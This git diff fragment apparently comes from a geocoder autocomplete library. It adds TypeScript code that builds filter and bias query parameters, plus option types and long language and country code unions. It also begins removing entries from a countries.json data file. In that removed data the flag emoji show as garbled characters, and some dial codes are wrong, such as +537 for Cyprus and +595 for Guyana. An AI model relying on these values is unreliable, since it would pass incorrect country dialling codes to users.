+ url += filters.length ? `&filter=${filters.join('|')}` : '';
+
+ const bias = [];
+ const biasByCountryCodes: ByCountryCodeOptions = this.options.bias[this.BY_COUNTRYCODE] as ByCountryCodeOptions;
+ const biasByCircle: ByCircleOptions = this.options.bias[this.BY_CIRCLE] as ByCircleOptions;
+ const biasByRect: ByRectOptions = this.options.bias[this.BY_RECT] as ByRectOptions;
+ const biasByProximity: ByProximityOptions = this.options.bias[this.BY_PROXIMITY] as ByProximityOptions;
+
+ if (biasByCountryCodes && biasByCountryCodes.length) {
+ bias.push(`countrycode:${biasByCountryCodes.join(',').toLowerCase()}`);
+ }
+
+ if (biasByCircle && this.isLatitude(biasByCircle.lat) && this.isLongitude(biasByCircle.lon) && biasByCircle.radiusMeters > 0) {
+ bias.push(`circle:${biasByCircle.lon},${biasByCircle.lat},${biasByCircle.radiusMeters}`);
+ }
+
+ if (biasByRect && this.isLatitude(biasByRect.lat1) && this.isLongitude(biasByRect.lon1) && this.isLatitude(biasByRect.lat2) && this.isLongitude(biasByRect.lon2)) {
+ bias.push(`rect:${biasByRect.lon1},${biasByRect.lat1},${biasByRect.lon2},${biasByRect.lat2}`);
+ }
+
+ if (biasByProximity && this.isLatitude(biasByProximity.lat) && this.isLongitude(biasByProximity.lon)) {
+ bias.push(`proximity:${biasByProximity.lon},${biasByProximity.lat}`);
+ }
+
+ url += bias.length ? `&bias=${bias.join('|')}` : '';
+
+ return url;
+ }
+
+ private isLatitude(num: any) {
+ return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 90;
+ }
+
+ private isLongitude(num: any) {
+ return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 180;
+ }
+}
+
+export interface GeocoderAutocompleteOptions {
+ type?: LocationType;
+ lang?: SupportedLanguage;
+ limit?: number;
+ placeholder?: string;
+ debounceDelay?: number;
+
+ filter?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions | string },
+ bias?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions | ByProximityOptions },
+
+ skipIcons?: boolean;
+
+/**
+ * @deprecated The property should not be used; it is true by default. Use the addDetails property to add details.
+ */
+ skipDetails?: boolean;
+
+ addDetails?: boolean;
+
+ skipSelectionOnArrowKey?: boolean;
+
+ // to remove in the next version
+ position?: GeoPosition;
+ countryCodes?: CountyCode[];
+
+ // extend results with non verified values if needed
+ allowNonVerifiedHouseNumber?: boolean;
+ allowNonVerifiedStreet?: boolean;
+}
+
+export interface GeoPosition {
+ lat: number;
+ lon: number;
+}
+
+export type ByCountryCodeOptions = CountyCode[];
+
+export interface ByProximityOptions {
+ lon: number;
+ lat: number;
+}
+
+export interface ByCircleOptions {
+ lon: number;
+ lat: number;
+ radiusMeters: number;
+}
+
+export interface ByRectOptions {
+ lon1: number;
+ lat1: number;
+ lon2: number;
+ lat2: number;
+}
+
+export type LocationType = 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity';
+export type SupportedLanguage = "ab" | "aa" | "af" | "ak" | "sq" | "am" | "ar" | "an" | "hy" | "as" | "av" | "ae" | "ay" | "az" | "bm" | "ba" | "eu" | "be" | "bn" | "bh" | "bi" | "bs" | "br" | "bg" | "my" | "ca" | "ch" | "ce" | "ny" | "zh" | "cv" | "kw" | "co" | "cr" | "hr" | "cs" | "da" | "dv" | "nl" | "en" | "eo" | "et" | "ee" | "fo" | "fj" | "fi" | "fr" | "ff" | "gl" | "ka" | "de" | "el" | "gn" | "gu" | "ht" | "ha" | "he" | "hz" | "hi" | "ho" | "hu" | "ia" | "id" | "ie" | "ga" | "ig" | "ik" | "io" | "is" | "it" | "iu" | "ja" | "jv" | "kl" | "kn" | "kr" | "ks" | "kk" | "km" | "ki" | "rw" | "ky" | "kv" | "kg" | "ko" | "ku" | "kj" | "la" | "lb" | "lg" | "li" | "ln" | "lo" | "lt" | "lu" | "lv" | "gv" | "mk" | "mg" | "ms" | "ml" | "mt" | "mi" | "mr" | "mh" | "mn" | "na" | "nv" | "nb" | "nd" | "ne" | "ng" | "nn" | "no" | "ii" | "nr" | "oc" | "oj" | "cu" | "om" | "or" | "os" | "pa" | "pi" | "fa" | "pl" | "ps" | "pt" | "qu" | "rm" | "rn" | "ro" | "ru" | "sa" | "sc" | "sd" | "se" | "sm" | "sg" | "sr" | "gd" | "sn" | "si" | "sk" | "sl" | "so" | "st" | "es" | "su" | "sw" | "ss" | "sv" | "ta" | "te" | "tg" | "th" | "ti" | "bo" | "tk" | "tl" | "tn" | "to" | "tr" | "ts" | "tt" | "tw" | "ty" | "ug" | "uk" | "ur" | "uz" | "ve" | "vi" | "vo" | "wa" | "cy" | "wo" | "fy" | "xh" | "yi" | "yo" | "za";
+export type CountyCode = "none" | "auto" | "ad" | "ae" | "af" | "ag" | "ai" | "al" | "am" | "an" | "ao" | "ap" | "aq" | "ar" | "as" | "at" | "au" | "aw" | "az" | "ba" | "bb" | "bd" | "be" | "bf" | "bg" | "bh" | "bi" | "bj" | "bm" | "bn" | "bo" | "br" | "bs" | "bt" | "bv" | "bw" | "by" | "bz" | "ca" | "cc" | "cd" | "cf" | "cg" | "ch" | "ci" | "ck" | "cl" | "cm" | "cn" | "co" | "cr" | "cu" | "cv" | "cx" | "cy" | "cz" | "de" | "dj" | "dk" | "dm" | "do" | "dz" | "ec" | "ee" | "eg" | "eh" | "er" | "es" | "et" | "eu" | "fi" | "fj" | "fk" | "fm" | "fo" | "fr" | "ga" | "gb" | "gd" | "ge" | "gf" | "gh" | "gi" | "gl" | "gm" | "gn" | "gp" | "gq" | "gr" | "gs" | "gt" | "gu" | "gw" | "gy" | "hk" | "hm" | "hn" | "hr" | "ht" | "hu" | "id" | "ie" | "il" | "in" | "io" | "iq" | "ir" | "is" | "it" | "jm" | "jo" | "jp" | "ke" | "kg" | "kh" | "ki" | "km" | "kn" | "kp" | "kr" | "kw" | "ky" | "kz" | "la" | "lb" | "lc" | "li" | "lk" | "lr" | "ls" | "lt" | "lu" | "lv" | "ly" | "ma" | "mc" | "md" | "me" | "mg" | "mh" | "mk" | "ml" | "mm" | "mn" | "mo" | "mp" | "mq" | "mr" | "ms" | "mt" | "mu" | "mv" | "mw" | "mx" | "my" | "mz" | "na" | "nc" | "ne" | "nf" | "ng" | "ni" | "nl" | "no" | "np" | "nr" | "nu" | "nz" | "om" | "pa" | "pe" | "pf" | "pg" | "ph" | "pk" | "pl" | "pm" | "pr" | "ps" | "pt" | "pw" | "py" | "qa" | "re" | "ro" | "rs" | "ru" | "rw" | "sa" | "sb" | "sc" | "sd" | "se" | "sg" | "sh" | "si" | "sj" | "sk" | "sl" | "sm" | "sn" | "so" | "sr" | "st" | "sv" | "sy" | "sz" | "tc" | "td" | "tf" | "tg" | "th" | "tj" | "tk" | "tm" | "tn" | "to" | "tr" | "tt" | "tv" | "tw" | "tz" | "ua" | "ug" | "um" | "us" | "uy" | "uz" | "va" | "vc" | "ve" | "vg" | "vi" | "vn" | "vu" | "wf" | "ws" | "ye" | "yt" | "za" | "zm" | "zw";
diff --git a/src/countries.json b/src/countries.json
index 0caf583..ded5764 100644
--- a/src/countries.json
+++ b/src/countries.json
@@ -1,2000 +1,2000 @@
-[
- {
- "code": "AD",
- "emoji": "๐ฆ๐ฉ",
- "unicode": "U+1F1E6 U+1F1E9",
- "name": "Andorra",
- "title": "flag for Andorra",
- "dialCode": "+376"
- },
- {
- "code": "AE",
- "emoji": "๐ฆ๐ช",
- "unicode": "U+1F1E6 U+1F1EA",
- "name": "United Arab Emirates",
- "title": "flag for United Arab Emirates",
- "dialCode": "+971"
- },
- {
- "code": "AF",
- "emoji": "๐ฆ๐ซ",
- "unicode": "U+1F1E6 U+1F1EB",
- "name": "Afghanistan",
- "title": "flag for Afghanistan",
- "dialCode": "+93"
- },
- {
- "code": "AG",
- "emoji": "๐ฆ๐ฌ",
- "unicode": "U+1F1E6 U+1F1EC",
- "name": "Antigua and Barbuda",
- "title": "flag for Antigua and Barbuda",
- "dialCode": "+1268"
- },
- {
- "code": "AI",
- "emoji": "๐ฆ๐ฎ",
- "unicode": "U+1F1E6 U+1F1EE",
- "name": "Anguilla",
- "title": "flag for Anguilla",
- "dialCode": "+1 264"
- },
- {
- "code": "AL",
- "emoji": "๐ฆ๐ฑ",
- "unicode": "U+1F1E6 U+1F1F1",
- "name": "Albania",
- "title": "flag for Albania",
- "dialCode": "+355"
- },
- {
- "code": "AM",
- "emoji": "๐ฆ๐ฒ",
- "unicode": "U+1F1E6 U+1F1F2",
- "name": "Armenia",
- "title": "flag for Armenia",
- "dialCode": "+374"
- },
- {
- "code": "AO",
- "emoji": "๐ฆ๐ด",
- "unicode": "U+1F1E6 U+1F1F4",
- "name": "Angola",
- "title": "flag for Angola",
- "dialCode": "+244"
- },
- {
- "code": "AQ",
- "emoji": "๐ฆ๐ถ",
- "unicode": "U+1F1E6 U+1F1F6",
- "name": "Antarctica",
- "title": "flag for Antarctica",
- "dialCode": null
- },
- {
- "code": "AR",
- "emoji": "๐ฆ๐ท",
- "unicode": "U+1F1E6 U+1F1F7",
- "name": "Argentina",
- "title": "flag for Argentina",
- "dialCode": "+54"
- },
- {
- "code": "AS",
- "emoji": "๐ฆ๐ธ",
- "unicode": "U+1F1E6 U+1F1F8",
- "name": "American Samoa",
- "title": "flag for American Samoa",
- "dialCode": "+1 684"
- },
- {
- "code": "AT",
- "emoji": "๐ฆ๐น",
- "unicode": "U+1F1E6 U+1F1F9",
- "name": "Austria",
- "title": "flag for Austria",
- "dialCode": "+43"
- },
- {
- "code": "AU",
- "emoji": "๐ฆ๐บ",
- "unicode": "U+1F1E6 U+1F1FA",
- "name": "Australia",
- "title": "flag for Australia",
- "dialCode": "+61"
- },
- {
- "code": "AW",
- "emoji": "๐ฆ๐ผ",
- "unicode": "U+1F1E6 U+1F1FC",
- "name": "Aruba",
- "title": "flag for Aruba",
- "dialCode": "+297"
- },
- {
- "code": "AX",
- "emoji": "๐ฆ๐ฝ",
- "unicode": "U+1F1E6 U+1F1FD",
- "name": "ร
land Islands",
- "title": "flag for ร
land Islands",
- "dialCode": ""
- },
- {
- "code": "AZ",
- "emoji": "๐ฆ๐ฟ",
- "unicode": "U+1F1E6 U+1F1FF",
- "name": "Azerbaijan",
- "title": "flag for Azerbaijan",
- "dialCode": "+994"
- },
- {
- "code": "BA",
- "emoji": "๐ง๐ฆ",
- "unicode": "U+1F1E7 U+1F1E6",
- "name": "Bosnia and Herzegovina",
- "title": "flag for Bosnia and Herzegovina",
- "dialCode": "+387"
- },
- {
- "code": "BB",
- "emoji": "๐ง๐ง",
- "unicode": "U+1F1E7 U+1F1E7",
- "name": "Barbados",
- "title": "flag for Barbados",
- "dialCode": "+1 246"
- },
- {
- "code": "BD",
- "emoji": "๐ง๐ฉ",
- "unicode": "U+1F1E7 U+1F1E9",
- "name": "Bangladesh",
- "title": "flag for Bangladesh",
- "dialCode": "+880"
- },
- {
- "code": "BE",
- "emoji": "๐ง๐ช",
- "unicode": "U+1F1E7 U+1F1EA",
- "name": "Belgium",
- "title": "flag for Belgium",
- "dialCode": "+32"
- },
- {
- "code": "BF",
- "emoji": "๐ง๐ซ",
- "unicode": "U+1F1E7 U+1F1EB",
- "name": "Burkina Faso",
- "title": "flag for Burkina Faso",
- "dialCode": "+226"
- },
- {
- "code": "BG",
- "emoji": "๐ง๐ฌ",
- "unicode": "U+1F1E7 U+1F1EC",
- "name": "Bulgaria",
- "title": "flag for Bulgaria",
- "dialCode": "+359"
- },
- {
- "code": "BH",
- "emoji": "๐ง๐ญ",
- "unicode": "U+1F1E7 U+1F1ED",
- "name": "Bahrain",
- "title": "flag for Bahrain",
- "dialCode": "+973"
- },
- {
- "code": "BI",
- "emoji": "๐ง๐ฎ",
- "unicode": "U+1F1E7 U+1F1EE",
- "name": "Burundi",
- "title": "flag for Burundi",
- "dialCode": "+257"
- },
- {
- "code": "BJ",
- "emoji": "๐ง๐ฏ",
- "unicode": "U+1F1E7 U+1F1EF",
- "name": "Benin",
- "title": "flag for Benin",
- "dialCode": "+229"
- },
- {
- "code": "BL",
- "emoji": "๐ง๐ฑ",
- "unicode": "U+1F1E7 U+1F1F1",
- "name": "Saint Barthรฉlemy",
- "title": "flag for Saint Barthรฉlemy",
- "dialCode": "+590"
- },
- {
- "code": "BM",
- "emoji": "๐ง๐ฒ",
- "unicode": "U+1F1E7 U+1F1F2",
- "name": "Bermuda",
- "title": "flag for Bermuda",
- "dialCode": "+1 441"
- },
- {
- "code": "BN",
- "emoji": "๐ง๐ณ",
- "unicode": "U+1F1E7 U+1F1F3",
- "name": "Brunei Darussalam",
- "title": "flag for Brunei Darussalam",
- "dialCode": "+673"
- },
- {
- "code": "BO",
- "emoji": "๐ง๐ด",
- "unicode": "U+1F1E7 U+1F1F4",
- "name": "Bolivia",
- "title": "flag for Bolivia",
- "dialCode": "+591"
- },
- {
- "code": "BQ",
- "emoji": "๐ง๐ถ",
- "unicode": "U+1F1E7 U+1F1F6",
- "name": "Bonaire, Sint Eustatius and Saba",
- "title": "flag for Bonaire, Sint Eustatius and Saba"
- },
- {
- "code": "BR",
- "emoji": "๐ง๐ท",
- "unicode": "U+1F1E7 U+1F1F7",
- "name": "Brazil",
- "title": "flag for Brazil",
- "dialCode": "+55"
- },
- {
- "code": "BS",
- "emoji": "๐ง๐ธ",
- "unicode": "U+1F1E7 U+1F1F8",
- "name": "Bahamas",
- "title": "flag for Bahamas",
- "dialCode": "+1 242"
- },
- {
- "code": "BT",
- "emoji": "๐ง๐น",
- "unicode": "U+1F1E7 U+1F1F9",
- "name": "Bhutan",
- "title": "flag for Bhutan",
- "dialCode": "+975"
- },
- {
- "code": "BV",
- "emoji": "๐ง๐ป",
- "unicode": "U+1F1E7 U+1F1FB",
- "name": "Bouvet Island",
- "title": "flag for Bouvet Island"
- },
- {
- "code": "BW",
- "emoji": "๐ง๐ผ",
- "unicode": "U+1F1E7 U+1F1FC",
- "name": "Botswana",
- "title": "flag for Botswana",
- "dialCode": "+267"
- },
- {
- "code": "BY",
- "emoji": "๐ง๐พ",
- "unicode": "U+1F1E7 U+1F1FE",
- "name": "Belarus",
- "title": "flag for Belarus",
- "dialCode": "+375"
- },
- {
- "code": "BZ",
- "emoji": "๐ง๐ฟ",
- "unicode": "U+1F1E7 U+1F1FF",
- "name": "Belize",
- "title": "flag for Belize",
- "dialCode": "+501"
- },
- {
- "code": "CA",
- "emoji": "๐จ๐ฆ",
- "unicode": "U+1F1E8 U+1F1E6",
- "name": "Canada",
- "title": "flag for Canada",
- "dialCode": "+1"
- },
- {
- "code": "CC",
- "emoji": "๐จ๐จ",
- "unicode": "U+1F1E8 U+1F1E8",
- "name": "Cocos (Keeling) Islands",
- "title": "flag for Cocos (Keeling) Islands",
- "dialCode": "+61"
- },
- {
- "code": "CD",
- "emoji": "๐จ๐ฉ",
- "unicode": "U+1F1E8 U+1F1E9",
- "name": "Congo",
- "title": "flag for Congo",
- "dialCode": "+243"
- },
- {
- "code": "CF",
- "emoji": "๐จ๐ซ",
- "unicode": "U+1F1E8 U+1F1EB",
- "name": "Central African Republic",
- "title": "flag for Central African Republic",
- "dialCode": "+236"
- },
- {
- "code": "CG",
- "emoji": "๐จ๐ฌ",
- "unicode": "U+1F1E8 U+1F1EC",
- "name": "Congo",
- "title": "flag for Congo",
- "dialCode": "+242"
- },
- {
- "code": "CH",
- "emoji": "๐จ๐ญ",
- "unicode": "U+1F1E8 U+1F1ED",
- "name": "Switzerland",
- "title": "flag for Switzerland",
- "dialCode": "+41"
- },
- {
- "code": "CI",
- "emoji": "๐จ๐ฎ",
- "unicode": "U+1F1E8 U+1F1EE",
- "name": "Cรดte D'Ivoire",
- "title": "flag for Cรดte D'Ivoire",
- "dialCode": "+225"
- },
- {
- "code": "CK",
- "emoji": "๐จ๐ฐ",
- "unicode": "U+1F1E8 U+1F1F0",
- "name": "Cook Islands",
- "title": "flag for Cook Islands",
- "dialCode": "+682"
- },
- {
- "code": "CL",
- "emoji": "๐จ๐ฑ",
- "unicode": "U+1F1E8 U+1F1F1",
- "name": "Chile",
- "title": "flag for Chile",
- "dialCode": "+56"
- },
- {
- "code": "CM",
- "emoji": "๐จ๐ฒ",
- "unicode": "U+1F1E8 U+1F1F2",
- "name": "Cameroon",
- "title": "flag for Cameroon",
- "dialCode": "+237"
- },
- {
- "code": "CN",
- "emoji": "๐จ๐ณ",
- "unicode": "U+1F1E8 U+1F1F3",
- "name": "China",
- "title": "flag for China",
- "dialCode": "+86"
- },
- {
- "code": "CO",
- "emoji": "๐จ๐ด",
- "unicode": "U+1F1E8 U+1F1F4",
- "name": "Colombia",
- "title": "flag for Colombia",
- "dialCode": "+57"
- },
- {
- "code": "CR",
- "emoji": "๐จ๐ท",
- "unicode": "U+1F1E8 U+1F1F7",
- "name": "Costa Rica",
- "title": "flag for Costa Rica",
- "dialCode": "+506"
- },
- {
- "code": "CU",
- "emoji": "๐จ๐บ",
- "unicode": "U+1F1E8 U+1F1FA",
- "name": "Cuba",
- "title": "flag for Cuba",
- "dialCode": "+53"
- },
- {
- "code": "CV",
- "emoji": "๐จ๐ป",
- "unicode": "U+1F1E8 U+1F1FB",
- "name": "Cape Verde",
- "title": "flag for Cape Verde",
- "dialCode": "+238"
- },
- {
- "code": "CW",
- "emoji": "๐จ๐ผ",
- "unicode": "U+1F1E8 U+1F1FC",
- "name": "Curaรงao",
- "title": "flag for Curaรงao"
- },
- {
- "code": "CX",
- "emoji": "๐จ๐ฝ",
- "unicode": "U+1F1E8 U+1F1FD",
- "name": "Christmas Island",
- "title": "flag for Christmas Island",
- "dialCode": "+61"
- },
- {
- "code": "CY",
- "emoji": "๐จ๐พ",
- "unicode": "U+1F1E8 U+1F1FE",
- "name": "Cyprus",
- "title": "flag for Cyprus",
- "dialCode": "+537"
- },
- {
- "code": "CZ",
- "emoji": "๐จ๐ฟ",
- "unicode": "U+1F1E8 U+1F1FF",
- "name": "Czech Republic",
- "title": "flag for Czech Republic",
- "dialCode": "+420"
- },
- {
- "code": "DE",
- "emoji": "๐ฉ๐ช",
- "unicode": "U+1F1E9 U+1F1EA",
- "name": "Germany",
- "title": "flag for Germany",
- "dialCode": "+49"
- },
- {
- "code": "DJ",
- "emoji": "๐ฉ๐ฏ",
- "unicode": "U+1F1E9 U+1F1EF",
- "name": "Djibouti",
- "title": "flag for Djibouti",
- "dialCode": "+253"
- },
- {
- "code": "DK",
- "emoji": "๐ฉ๐ฐ",
- "unicode": "U+1F1E9 U+1F1F0",
- "name": "Denmark",
- "title": "flag for Denmark",
- "dialCode": "+45"
- },
- {
- "code": "DM",
- "emoji": "๐ฉ๐ฒ",
- "unicode": "U+1F1E9 U+1F1F2",
- "name": "Dominica",
- "title": "flag for Dominica",
- "dialCode": "+1 767"
- },
- {
- "code": "DO",
- "emoji": "๐ฉ๐ด",
- "unicode": "U+1F1E9 U+1F1F4",
- "name": "Dominican Republic",
- "title": "flag for Dominican Republic",
- "dialCode": "+1 849"
- },
- {
- "code": "DZ",
- "emoji": "๐ฉ๐ฟ",
- "unicode": "U+1F1E9 U+1F1FF",
- "name": "Algeria",
- "title": "flag for Algeria",
- "dialCode": "+213"
- },
- {
- "code": "EC",
- "emoji": "๐ช๐จ",
- "unicode": "U+1F1EA U+1F1E8",
- "name": "Ecuador",
- "title": "flag for Ecuador",
- "dialCode": "+593"
- },
- {
- "code": "EE",
- "emoji": "๐ช๐ช",
- "unicode": "U+1F1EA U+1F1EA",
- "name": "Estonia",
- "title": "flag for Estonia",
- "dialCode": "+372"
- },
- {
- "code": "EG",
- "emoji": "๐ช๐ฌ",
- "unicode": "U+1F1EA U+1F1EC",
- "name": "Egypt",
- "title": "flag for Egypt",
- "dialCode": "+20"
- },
- {
- "code": "EH",
- "emoji": "๐ช๐ญ",
- "unicode": "U+1F1EA U+1F1ED",
- "name": "Western Sahara",
- "title": "flag for Western Sahara"
- },
- {
- "code": "ER",
- "emoji": "๐ช๐ท",
- "unicode": "U+1F1EA U+1F1F7",
- "name": "Eritrea",
- "title": "flag for Eritrea",
- "dialCode": "+291"
- },
- {
- "code": "ES",
- "emoji": "๐ช๐ธ",
- "unicode": "U+1F1EA U+1F1F8",
- "name": "Spain",
- "title": "flag for Spain",
- "dialCode": "+34"
- },
- {
- "code": "ET",
- "emoji": "๐ช๐น",
- "unicode": "U+1F1EA U+1F1F9",
- "name": "Ethiopia",
- "title": "flag for Ethiopia",
- "dialCode": "+251"
- },
- {
- "code": "EU",
- "emoji": "๐ช๐บ",
- "unicode": "U+1F1EA U+1F1FA",
- "name": "European Union",
- "title": "flag for European Union"
- },
- {
- "code": "FI",
- "emoji": "๐ซ๐ฎ",
- "unicode": "U+1F1EB U+1F1EE",
- "name": "Finland",
- "title": "flag for Finland",
- "dialCode": "+358"
- },
- {
- "code": "FJ",
- "emoji": "๐ซ๐ฏ",
- "unicode": "U+1F1EB U+1F1EF",
- "name": "Fiji",
- "title": "flag for Fiji",
- "dialCode": "+679"
- },
- {
- "code": "FK",
- "emoji": "๐ซ๐ฐ",
- "unicode": "U+1F1EB U+1F1F0",
- "name": "Falkland Islands (Malvinas)",
- "title": "flag for Falkland Islands (Malvinas)",
- "dialCode": "+500"
- },
- {
- "code": "FM",
- "emoji": "๐ซ๐ฒ",
- "unicode": "U+1F1EB U+1F1F2",
- "name": "Micronesia",
- "title": "flag for Micronesia",
- "dialCode": "+691"
- },
- {
- "code": "FO",
- "emoji": "๐ซ๐ด",
- "unicode": "U+1F1EB U+1F1F4",
- "name": "Faroe Islands",
- "title": "flag for Faroe Islands",
- "dialCode": "+298"
- },
- {
- "code": "FR",
- "emoji": "๐ซ๐ท",
- "unicode": "U+1F1EB U+1F1F7",
- "name": "France",
- "title": "flag for France",
- "dialCode": "+33"
- },
- {
- "code": "GA",
- "emoji": "๐ฌ๐ฆ",
- "unicode": "U+1F1EC U+1F1E6",
- "name": "Gabon",
- "title": "flag for Gabon",
- "dialCode": "+241"
- },
- {
- "code": "GB",
- "emoji": "๐ฌ๐ง",
- "unicode": "U+1F1EC U+1F1E7",
- "name": "United Kingdom",
- "title": "flag for United Kingdom",
- "dialCode": "+44"
- },
- {
- "code": "GD",
- "emoji": "๐ฌ๐ฉ",
- "unicode": "U+1F1EC U+1F1E9",
- "name": "Grenada",
- "title": "flag for Grenada",
- "dialCode": "+1 473"
- },
- {
- "code": "GE",
- "emoji": "๐ฌ๐ช",
- "unicode": "U+1F1EC U+1F1EA",
- "name": "Georgia",
- "title": "flag for Georgia",
- "dialCode": "+995"
- },
- {
- "code": "GF",
- "emoji": "๐ฌ๐ซ",
- "unicode": "U+1F1EC U+1F1EB",
- "name": "French Guiana",
- "title": "flag for French Guiana",
- "dialCode": "+594"
- },
- {
- "code": "GG",
- "emoji": "๐ฌ๐ฌ",
- "unicode": "U+1F1EC U+1F1EC",
- "name": "Guernsey",
- "title": "flag for Guernsey",
- "dialCode": "+44"
- },
- {
- "code": "GH",
- "emoji": "๐ฌ๐ญ",
- "unicode": "U+1F1EC U+1F1ED",
- "name": "Ghana",
- "title": "flag for Ghana",
- "dialCode": "+233"
- },
- {
- "code": "GI",
- "emoji": "๐ฌ๐ฎ",
- "unicode": "U+1F1EC U+1F1EE",
- "name": "Gibraltar",
- "title": "flag for Gibraltar",
- "dialCode": "+350"
- },
- {
- "code": "GL",
- "emoji": "๐ฌ๐ฑ",
- "unicode": "U+1F1EC U+1F1F1",
- "name": "Greenland",
- "title": "flag for Greenland",
- "dialCode": "+299"
- },
- {
- "code": "GM",
- "emoji": "๐ฌ๐ฒ",
- "unicode": "U+1F1EC U+1F1F2",
- "name": "Gambia",
- "title": "flag for Gambia",
- "dialCode": "+220"
- },
- {
- "code": "GN",
- "emoji": "๐ฌ๐ณ",
- "unicode": "U+1F1EC U+1F1F3",
- "name": "Guinea",
- "title": "flag for Guinea",
- "dialCode": "+224"
- },
- {
- "code": "GP",
- "emoji": "๐ฌ๐ต",
- "unicode": "U+1F1EC U+1F1F5",
- "name": "Guadeloupe",
- "title": "flag for Guadeloupe",
- "dialCode": "+590"
- },
- {
- "code": "GQ",
- "emoji": "๐ฌ๐ถ",
- "unicode": "U+1F1EC U+1F1F6",
- "name": "Equatorial Guinea",
- "title": "flag for Equatorial Guinea",
- "dialCode": "+240"
- },
- {
- "code": "GR",
- "emoji": "๐ฌ๐ท",
- "unicode": "U+1F1EC U+1F1F7",
- "name": "Greece",
- "title": "flag for Greece",
- "dialCode": "+30"
- },
- {
- "code": "GS",
- "emoji": "๐ฌ๐ธ",
- "unicode": "U+1F1EC U+1F1F8",
- "name": "South Georgia",
- "title": "flag for South Georgia",
- "dialCode": "+500"
- },
- {
- "code": "GT",
- "emoji": "๐ฌ๐น",
- "unicode": "U+1F1EC U+1F1F9",
- "name": "Guatemala",
- "title": "flag for Guatemala",
- "dialCode": "+502"
- },
- {
- "code": "GU",
- "emoji": "๐ฌ๐บ",
- "unicode": "U+1F1EC U+1F1FA",
- "name": "Guam",
- "title": "flag for Guam",
- "dialCode": "+1 671"
- },
- {
- "code": "GW",
- "emoji": "๐ฌ๐ผ",
- "unicode": "U+1F1EC U+1F1FC",
- "name": "Guinea-Bissau",
- "title": "flag for Guinea-Bissau",
- "dialCode": "+245"
- },
- {
- "code": "GY",
- "emoji": "๐ฌ๐พ",
- "unicode": "U+1F1EC U+1F1FE",
- "name": "Guyana",
- "title": "flag for Guyana",
- "dialCode": "+595"
- },
- {
- "code": "HK",
- "emoji": "๐ญ๐ฐ",
- "unicode": "U+1F1ED U+1F1F0",
- "name": "Hong Kong",
- "title": "flag for Hong Kong",
- "dialCode": "+852"
- },
- {
- "code": "HM",
- "emoji": "๐ญ๐ฒ",
- "unicode": "U+1F1ED U+1F1F2",
- "name": "Heard Island and Mcdonald Islands",
- "title": "flag for Heard Island and Mcdonald Islands"
- },
- {
- "code": "HN",
- "emoji": "๐ญ๐ณ",
- "unicode": "U+1F1ED U+1F1F3",
- "name": "Honduras",
- "title": "flag for Honduras",
- "dialCode": "+504"
- },
- {
- "code": "HR",
- "emoji": "๐ญ๐ท",
- "unicode": "U+1F1ED U+1F1F7",
- "name": "Croatia",
- "title": "flag for Croatia",
- "dialCode": "+385"
- },
- {
- "code": "HT",
- "emoji": "๐ญ๐น",
- "unicode": "U+1F1ED U+1F1F9",
- "name": "Haiti",
- "title": "flag for Haiti",
- "dialCode": "+509"
- },
- {
- "code": "HU",
- "emoji": "๐ญ๐บ",
- "unicode": "U+1F1ED U+1F1FA",
- "name": "Hungary",
- "title": "flag for Hungary",
- "dialCode": "+36"
- },
- {
- "code": "ID",
- "emoji": "๐ฎ๐ฉ",
- "unicode": "U+1F1EE U+1F1E9",
- "name": "Indonesia",
- "title": "flag for Indonesia",
- "dialCode": "+62"
- },
- {
- "code": "IE",
- "emoji": "๐ฎ๐ช",
- "unicode": "U+1F1EE U+1F1EA",
- "name": "Ireland",
- "title": "flag for Ireland",
- "dialCode": "+353"
- },
- {
- "code": "IL",
- "emoji": "๐ฎ๐ฑ",
- "unicode": "U+1F1EE U+1F1F1",
- "name": "Israel",
- "title": "flag for Israel",
- "dialCode": "+972"
- },
- {
- "code": "IM",
- "emoji": "๐ฎ๐ฒ",
- "unicode": "U+1F1EE U+1F1F2",
- "name": "Isle of Man",
- "title": "flag for Isle of Man",
- "dialCode": "+44"
- },
- {
- "code": "IN",
- "emoji": "๐ฎ๐ณ",
- "unicode": "U+1F1EE U+1F1F3",
- "name": "India",
- "title": "flag for India",
- "dialCode": "+91"
- },
- {
- "code": "IO",
- "emoji": "๐ฎ๐ด",
- "unicode": "U+1F1EE U+1F1F4",
- "name": "British Indian Ocean Territory",
- "title": "flag for British Indian Ocean Territory",
- "dialCode": "+246"
- },
- {
- "code": "IQ",
- "emoji": "๐ฎ๐ถ",
- "unicode": "U+1F1EE U+1F1F6",
- "name": "Iraq",
- "title": "flag for Iraq",
- "dialCode": "+964"
- },
- {
- "code": "IR",
- "emoji": "๐ฎ๐ท",
- "unicode": "U+1F1EE U+1F1F7",
- "name": "Iran",
- "title": "flag for Iran",
- "dialCode": "+98"
- },
- {
- "code": "IS",
- "emoji": "๐ฎ๐ธ",
- "unicode": "U+1F1EE U+1F1F8",
- "name": "Iceland",
- "title": "flag for Iceland",
- "dialCode": "+354"
- },
- {
- "code": "IT",
- "emoji": "๐ฎ๐น",
- "unicode": "U+1F1EE U+1F1F9",
- "name": "Italy",
- "title": "flag for Italy",
- "dialCode": "+39"
- },
- {
- "code": "JE",
- "emoji": "๐ฏ๐ช",
- "unicode": "U+1F1EF U+1F1EA",
- "name": "Jersey",
- "title": "flag for Jersey",
- "dialCode": "+44"
- },
- {
- "code": "JM",
- "emoji": "๐ฏ๐ฒ",
- "unicode": "U+1F1EF U+1F1F2",
- "name": "Jamaica",
- "title": "flag for Jamaica",
- "dialCode": "+1 876"
- },
- {
- "code": "JO",
- "emoji": "๐ฏ๐ด",
- "unicode": "U+1F1EF U+1F1F4",
- "name": "Jordan",
- "title": "flag for Jordan",
- "dialCode": "+962"
- },
- {
- "code": "JP",
- "emoji": "๐ฏ๐ต",
- "unicode": "U+1F1EF U+1F1F5",
- "name": "Japan",
- "title": "flag for Japan",
- "dialCode": "+81"
- },
- {
- "code": "KE",
- "emoji": "๐ฐ๐ช",
- "unicode": "U+1F1F0 U+1F1EA",
- "name": "Kenya",
- "title": "flag for Kenya",
- "dialCode": "+254"
- },
- {
- "code": "KG",
- "emoji": "๐ฐ๐ฌ",
- "unicode": "U+1F1F0 U+1F1EC",
- "name": "Kyrgyzstan",
- "title": "flag for Kyrgyzstan",
- "dialCode": "+996"
- },
- {
- "code": "KH",
- "emoji": "๐ฐ๐ญ",
- "unicode": "U+1F1F0 U+1F1ED",
